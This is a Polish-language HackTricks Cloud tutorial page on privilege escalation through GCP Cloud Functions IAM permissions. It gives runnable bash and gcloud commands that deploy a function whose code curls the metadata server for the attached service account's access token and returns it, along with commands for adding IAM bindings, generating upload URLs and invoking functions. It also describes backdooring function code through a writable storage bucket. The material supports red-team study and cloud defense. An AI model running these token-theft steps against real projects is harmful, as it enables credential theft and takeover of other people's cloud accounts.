GCP - Cloudfunctions Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
cloudfunctions
More information about Cloud Functions:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Atakujący z tymi uprawnieniami może utworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej Service Account. Następnie leakować Service Account token z metadata, aby eskalować uprawnienia do niego.
Mogą być wymagane dodatkowe uprawnienia do wywołania funkcji.
Skrypty exploitów dla tej metody można znaleźć here i here a gotowy plik .zip można znaleźć here.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Atakujący z tymi uprawnieniami może zmodyfikować kod funkcji, a nawet zmienić przypisany Service Account w celu exfiltracji tokena.
Caution
W celu wdrożenia cloud functions będziesz również potrzebować uprawnień actAs do domyślnego compute Service Account lub do Service Account używanego do budowy obrazu.
Mogą być wymagane dodatkowe uprawnienia, takie jak uprawnienie .call dla wersji 1 cloudfunctions lub rola role/run.invoker do wywołania funkcji.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Jeśli otrzymasz błąd
Permission 'run.services.setIamPolicy' denied on resource...to dlatego, że używasz parametru--allow-unauthenticatedi nie masz wystarczających uprawnień.
Skrypt exploit dla tej metody można znaleźć here.
cloudfunctions.functions.sourceCodeSet
Dzięki temu uprawnieniu możesz uzyskać signed URL, pozwalający przesłać plik do bucketu funkcji (kod funkcji nie zostanie jednak zmieniony — nadal musisz go zaktualizować)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Nie jestem do końca pewien, jak przydatne jest samo to uprawnienie z perspektywy atakującego, ale warto wiedzieć.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Przyznaj sobie dowolne z poprzednich uprawnień .update lub .create, aby eskalować.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Posiadanie wyłącznie uprawnień cloudfunctions, bez iam.serviceAccounts.actAs, sprawia, że nie będziesz w stanie zaktualizować funkcji — WIĘC TO NIE JEST PRAWIDŁOWY PRIVESC.
Wywoływanie funkcji
Dzięki uprawnieniom cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, oraz run.routes.invoke, tożsamość może bezpośrednio wywołać Cloud Functions. Konieczne jest również, aby funkcja zezwalała na ruch publiczny, albo aby wywołujący znajdował się w tej samej sieci co sama funkcja.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Dostęp do odczytu i zapisu do bucketu
Jeśli masz dostęp do odczytu i zapisu do bucketu, możesz monitorować zmiany w code i za każdym razem, gdy nastąpi aktualizacja w bucketu możesz podmienić nowy code na własny, tak że nowa wersja Cloud Function będzie uruchamiana z przesłanym backdoored code.
Możesz sprawdzić więcej o tym ataku w:
Jednak nie możesz użyć tego do wstępnego kompromitowania Cloud Functions stron trzecich, ponieważ jeśli utworzysz bucket w swoim koncie i nadasz mu uprawnienia publiczne, aby zewnętrzny projekt mógł nadpisać jego zawartość, otrzymasz następujący błąd:
 (1) (1).png)
Caution
Może to jednak być użyte do ataków DoS.
Dostęp do odczytu i zapisu do Artifact Registry
Kiedy tworzona jest Cloud Function, nowy docker image jest wysyłany do Artifact Registry projektu. Próbowałem zmodyfikować image na nowy, a nawet usunąć bieżący image (oraz cache image) i nic się nie zmieniło — Cloud Function nadal działała. Z tego powodu być może możliwe byłoby nadużycie Race Condition attack podobnie jak w przypadku bucketu, aby zmienić docker container, który zostanie uruchomiony, ale samo zmodyfikowanie przechowywanego image’a nie pozwala na kompromitację Cloud Function.
Referencje
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

